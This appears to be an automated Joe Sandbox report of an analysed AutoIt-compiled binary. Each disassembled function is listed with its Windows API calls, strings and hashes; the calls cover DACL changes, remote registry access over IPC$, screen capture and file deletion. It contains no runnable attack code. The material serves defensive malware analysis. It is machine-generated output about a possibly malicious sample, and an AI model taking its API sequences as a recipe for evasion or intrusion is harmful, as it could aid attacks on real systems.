Function 001AB593 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 001AB8E7: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 001AB903
Part of subcall function 001AB8E7: GetLastError.KERNEL32(?,001AB3CB,?,?,?), ref: 001AB90D
Part of subcall function 001AB8E7: GetProcessHeap.KERNEL32(00000008,?,?,001AB3CB,?,?,?), ref: 001AB91C
Part of subcall function 001AB8E7: RtlAllocateHeap.NTDLL(00000000,?,001AB3CB), ref: 001AB923
Part of subcall function 001AB8E7: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 001AB93A

Part of subcall function 001AB982: GetProcessHeap.KERNEL32(00000008,001AB3E1,00000000,00000000,?,001AB3E1,?), ref: 001AB98E
Part of subcall function 001AB982: RtlAllocateHeap.NTDLL(00000000,?,001AB3E1), ref: 001AB995
Part of subcall function 001AB982: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,001AB3E1,?), ref: 001AB9A6

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 001AB5F7
_memset.LIBCMT ref: 001AB60C
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 001AB62B
GetLengthSid.ADVAPI32(?), ref: 001AB63C
GetAce.ADVAPI32(?,00000000,?), ref: 001AB679
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 001AB695
GetLengthSid.ADVAPI32(?), ref: 001AB6B2
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 001AB6C1
RtlAllocateHeap.NTDLL(00000000), ref: 001AB6C8
GetLengthSid.ADVAPI32(?,00000008,?), ref: 001AB6E9
CopySid.ADVAPI32(00000000), ref: 001AB6F0
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 001AB721
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 001AB747
SetUserObjectSecurity.USER32(?,00000004,?), ref: 001AB75B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HeapSecurity$AllocateDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 2347767575-0
Opcode ID: 03a5028122cee031c337acdf71966c6c457364c5efcca8375debb0a1527e78af
Instruction ID: 10cf87dc0aa0eacd53e26a73dff15ed8a64b7fe0646dc0f766e2993bf0225e84
Opcode Fuzzy Hash: 03a5028122cee031c337acdf71966c6c457364c5efcca8375debb0a1527e78af
Instruction Fuzzy Hash: AF517A79900249AFCF009FA4DC85EFEBB7AFF45304F048129F915A7292DB749A45CB60

Function 001CA268 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 001CA2DD
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 001CA2E9
CreateCompatibleDC.GDI32(?), ref: 001CA2F5
SelectObject.GDI32(00000000,?), ref: 001CA302
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 001CA356
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 001CA392
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 001CA3B6
SelectObject.GDI32(00000006,?), ref: 001CA3BE
DeleteObject.GDI32(?), ref: 001CA3C7
DeleteDC.GDI32(00000006), ref: 001CA3CE
ReleaseDC.USER32(00000000,?), ref: 001CA3D9

Strings

(, xrefs: 001CA37E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 7580cac174b88beec6a8c8c7affe809e0c9246fd657daa78563559f1169c27e0
Instruction ID: 544553a91112ec7c10b0666202d09681f71c5a27984c09361fb24eb168ba558e
Opcode Fuzzy Hash: 7580cac174b88beec6a8c8c7affe809e0c9246fd657daa78563559f1169c27e0
Instruction Fuzzy Hash: CB513771A00209AFCB15CFA8D888EAEBBB9FF48310F14851DF99AA7210C731A841CB50

Function 001D3AF7 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 109COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,001D2AA6,?,?), ref: 001D3B0E

Strings

HKEY_USERS, xrefs: 001D3BF5
HKCR, xrefs: 001D3B9C
HKEY_CURRENT_CONFIG, xrefs: 001D3BB1
|E", xrefs: 001D3B27
HKCC, xrefs: 001D3BC2
HKCU, xrefs: 001D3BE4
HKEY_LOCAL_MACHINE, xrefs: 001D3B5D
HKU, xrefs: 001D3C06
HKLM, xrefs: 001D3B72
HKEY_CLASSES_ROOT, xrefs: 001D3B87
HKEY_CURRENT_USER, xrefs: 001D3BD3

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU$|E"
API String ID: 3964851224-51274421
Opcode ID: 6b9680ce382adc0c0204abf073055cb9f7d6f393d5d5984e8702a56c83388b5f
Instruction ID: 7a34112fef1ea13a6c11e18de5d201c5fd164f51d0765201ebcb85d05c595763
Opcode Fuzzy Hash: 6b9680ce382adc0c0204abf073055cb9f7d6f393d5d5984e8702a56c83388b5f
Instruction Fuzzy Hash: 7841903413024A9BDF04FF54E840BEA3365AF26350F54482AFCA15B395DB70AF6ACB52

Function 001B32B0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,001E3C64,00000010,00000000,Bad directive syntax error,0020DBF0,00000000,?,00000000,?,>>>AUTOIT SCRIPT<<<), ref: 001B32D1
LoadStringW.USER32(00000000,?,001E3C64,00000010), ref: 001B32D8

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

_wprintf.LIBCMT ref: 001B3309
__swprintf.LIBCMT ref: 001B332B
MessageBoxW.USER32(00000000,?,?,00011010), ref: 001B3395

Strings

., xrefs: 001B337B
Error: , xrefs: 001B3363
%s (%d) : ==> %s.: %s %s, xrefs: 001B3304
Line %d (File "%s"):, xrefs: 001B333B
Line %d:, xrefs: 001B3325
"#, xrefs: 001B3338, 001B3322, 001B32FE

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:$"#
API String ID: 1506413516-826845855
Opcode ID: 5dee89bdb42bf74d79daf03e07a2b44d7045180eeddd31e92e56c9e58e03548f
Instruction ID: 20a696630b0c2c6d7d71fc3eebc89a528ebab5c7047e21bfe04ac0d3cd07b482
Opcode Fuzzy Hash: 5dee89bdb42bf74d79daf03e07a2b44d7045180eeddd31e92e56c9e58e03548f
Instruction Fuzzy Hash: 2B213D32850219BBCF11EFD0DC46EEE7775BF28704F008455F519A10A2EB75AB64DBA1

Function 001BD520 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 144COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 001BD567

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

LoadStringW.USER32(?,?,00000FFF,?), ref: 001BD589
__swprintf.LIBCMT ref: 001BD5DC
_wprintf.LIBCMT ref: 001BD68D
_wprintf.LIBCMT ref: 001BD6AB

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 001BD688
Line %d (File "%s"):, xrefs: 001BD5D6
^ ERROR, xrefs: 001BD631
Error: , xrefs: 001BD657
"%s" (%d) : ==> %s:, xrefs: 001BD6A6

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-2391861430
Opcode ID: 19213b01f4788375c24d2d6e6e8f5325e9ccda990eb1f5c5be49d4d1404068ab
Instruction ID: b587ca56ff15e99fcf1794c7e8674d47839ba59b718edd76926f47aa9fe8f19d
Opcode Fuzzy Hash: 19213b01f4788375c24d2d6e6e8f5325e9ccda990eb1f5c5be49d4d1404068ab
Instruction Fuzzy Hash: 0F517871900109BBDB19FBE0DD46EEEB779AF28704F108165F509B20A1EB715F54DBA0

Function 001BD338 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 001BD37F

Part of subcall function 0017CAEE: _memmove.LIBCMT ref: 0017CB2F

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 001BD3A0
__swprintf.LIBCMT ref: 001BD3F3
_wprintf.LIBCMT ref: 001BD499
_wprintf.LIBCMT ref: 001BD4B7

Strings

^ ERROR , xrefs: 001BD432
"%s" (%d) : ==> %s:%s%s, xrefs: 001BD494
Line %d (File "%s"):, xrefs: 001BD3ED
Error: , xrefs: 001BD463
"%s" (%d) : ==> %s:, xrefs: 001BD4B2

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LoadString_wprintf$__swprintf_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2116804098-3420473620
Opcode ID: e22877ee82e00f3f111fc60f11587dadaa323aeec66e3fca397f4464934d3848
Instruction ID: b86de3a7d54086567c4525420d63f85498ffa383a923d0357c5494d8992cb125
Opcode Fuzzy Hash: e22877ee82e00f3f111fc60f11587dadaa323aeec66e3fca397f4464934d3848
Instruction Fuzzy Hash: 6551B972900209BBCB19FBE0DD46EEEB779AF24700F108455F109720A1EB756F58DB60

Function 001AAEE5 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

_memset.LIBCMT ref: 001AAF74
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 001AAFA9
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 001AAFC5
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 001AAFE1
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 001AB00B
CLSIDFromString.COMBASE(?,?), ref: 001AB033
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 001AB03E
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 001AB043

Strings

SOFTWARE\Classes\, xrefs: 001AAF15
\IPC$, xrefs: 001AAF8B
\CLSID, xrefs: 001AAF2B

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: c6ea1eece5109b33644fb89d2783ba6ff468158c41c7341123fad0cfb5d52bd9
Instruction ID: bd8967f78127935eaaa490dcd9d3f07ce339f1d3b2c683e0d7f5bcbb491b016c
Opcode Fuzzy Hash: c6ea1eece5109b33644fb89d2783ba6ff468158c41c7341123fad0cfb5d52bd9
Instruction Fuzzy Hash: 89412A76C1022DBBCF11EBA4EC85DEEB779BF18704F408069F915A21A1EB719E44CB90

Function 001B7212 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 001B7226
__swprintf.LIBCMT ref: 001B7233

Part of subcall function 0019234B: __woutput_l.LIBCMT ref: 001923A4

FindResourceW.KERNEL32(?,?,0000000E), ref: 001B725D
LoadResource.KERNEL32(?,00000000), ref: 001B7269
LockResource.KERNEL32(00000000), ref: 001B7276
FindResourceW.KERNEL32(?,?,00000003), ref: 001B7296
LoadResource.KERNEL32(?,00000000), ref: 001B72A8
SizeofResource.KERNEL32(?,00000000), ref: 001B72B7
LockResource.KERNEL32(?), ref: 001B72C3
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 001B7322

Strings

L6", xrefs: 001B721F

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID: L6"
API String ID: 1433390588-3669851431
Opcode ID: 455839187f5203731210c3db392cf689e83efac028da20c9092c54be4a887592
Instruction ID: c06cfea5452ee0aed31cc1ef5c7cdc340a858be2d872dc35baf02d4011b88b5f
Opcode Fuzzy Hash: 455839187f5203731210c3db392cf689e83efac028da20c9092c54be4a887592
Instruction Fuzzy Hash: 88317EB590425AABDB059F60EC89AFF7BA9FF48341F144425FD02E61A0E734D960DAA0

Function 001B83D6 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00177E53: _memmove.LIBCMT ref: 00177EB9

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 001B843F
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 001B8455
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 001B8466
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 001B8478
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 001B8489

Strings

play PlayMe, xrefs: 001B8484
play PlayMe wait, xrefs: 001B8473
open , xrefs: 001B83EE
status PlayMe mode, xrefs: 001B843A
alias PlayMe, xrefs: 001B8418
close PlayMe, xrefs: 001B8450, 001B847D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: fa65694fcbbe9a607f1edb581b67a769e8cb49bfb6525266a5c9daddb830bf0b
Instruction ID: 40cb6a4c6dd1d6cfa747df650716af40eca4bb2ffa03537701966d32b37f4b82
Opcode Fuzzy Hash: fa65694fcbbe9a607f1edb581b67a769e8cb49bfb6525266a5c9daddb830bf0b
Instruction Fuzzy Hash: E111C461A6026D79D720E7E1DC4AEFFBA7CEBA2F04F004829B411A60D0DFA05E44C5B1

Function 001B8097 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 001B809C

Part of subcall function 0018E3A5: timeGetTime.WINMM(?,7694B400,001E6163), ref: 0018E3A9

Sleep.KERNEL32(0000000A), ref: 001B80C8
EnumThreadWindows.USER32(?,Function_0004804C,00000000), ref: 001B80EC
FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 001B810E
SetActiveWindow.USER32 ref: 001B812D
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 001B813B
SendMessageW.USER32(00000010,00000000,00000000), ref: 001B815A
Sleep.KERNEL32(000000FA), ref: 001B8165
IsWindow.USER32 ref: 001B8171
EndDialog.USER32(00000000), ref: 001B8182

Strings

BUTTON, xrefs: 001B8100

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 1c7a5480b87547f3d572188d2b19d1cddd487bf45d5d046057bb3afd3ec7fed6
Instruction ID: 858e7d82920993a869e486aaded0e4759b8b92939136dcd95fc592f670f94a43
Opcode Fuzzy Hash: 1c7a5480b87547f3d572188d2b19d1cddd487bf45d5d046057bb3afd3ec7fed6
Instruction Fuzzy Hash: 86218EB0210204BFE722AB65FC8DA7A3BAFFB14B89B040115F61182671CF768E45CB21

Function 001BC890 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001BC6A0: __time64.LIBCMT ref: 001BC6AA

Part of subcall function 001741A7: _fseek.LIBCMT ref: 001741BF

__wsplitpath.LIBCMT ref: 001BC96F

Part of subcall function 0019297D: __wsplitpath_helper.LIBCMT ref: 001929BD

_wcscpy.LIBCMT ref: 001BC982
_wcscat.LIBCMT ref: 001BC995
__wsplitpath.LIBCMT ref: 001BC9BA
_wcscat.LIBCMT ref: 001BC9D0
_wcscat.LIBCMT ref: 001BC9E3

Part of subcall function 001BC6E4: _memmove.LIBCMT ref: 001BC71D
Part of subcall function 001BC6E4: _memmove.LIBCMT ref: 001BC72C

_wcscmp.LIBCMT ref: 001BC92A

Part of subcall function 001BCE59: _wcscmp.LIBCMT ref: 001BCF49
Part of subcall function 001BCE59: _wcscmp.LIBCMT ref: 001BCF5C

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 001BCB8D
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 001BCC24
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 001BCC3A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 001BCC4B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 001BCC5D

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 152968663-0
Opcode ID: 6537d076dfdb223ce8a79025b8a8a334d0af7c7ea412f5fa7a89481aa33a80f3
Instruction ID: c25690b72217ce43790abe6e0270de9bc882147c836805af7a71ee2a6340c298
Opcode Fuzzy Hash: 6537d076dfdb223ce8a79025b8a8a334d0af7c7ea412f5fa7a89481aa33a80f3
Instruction Fuzzy Hash: 82C12EB1900119AEDF15DFA5CC81EEEBBBDEF69310F0040AAF609E6151D7709A84CFA5

Function 001C08D9 Relevance: 18.2, APIs: 12, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001C090D
_memset.LIBCMT ref: 001C0928
CoInitialize.OLE32(00000000), ref: 001C093B
SHGetMalloc.SHELL32(?), ref: 001C0945
CoUninitialize.COMBASE ref: 001C094F
_wcscpy.LIBCMT ref: 001C0993
SHGetDesktopFolder.SHELL32(?), ref: 001C09F5
_wcscpy.LIBCMT ref: 001C0A1B
_wcscpy.LIBCMT ref: 001C0A77
SHBrowseForFolderW.SHELL32 ref: 001C0AA2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 001C0AC5
CoUninitialize.COMBASE ref: 001C0B11

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize_memset$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 3566271842-0
Opcode ID: df43cf1a87a530368e83b0f667970840fbb65e8f23c62b2b1af0b1209d07677b
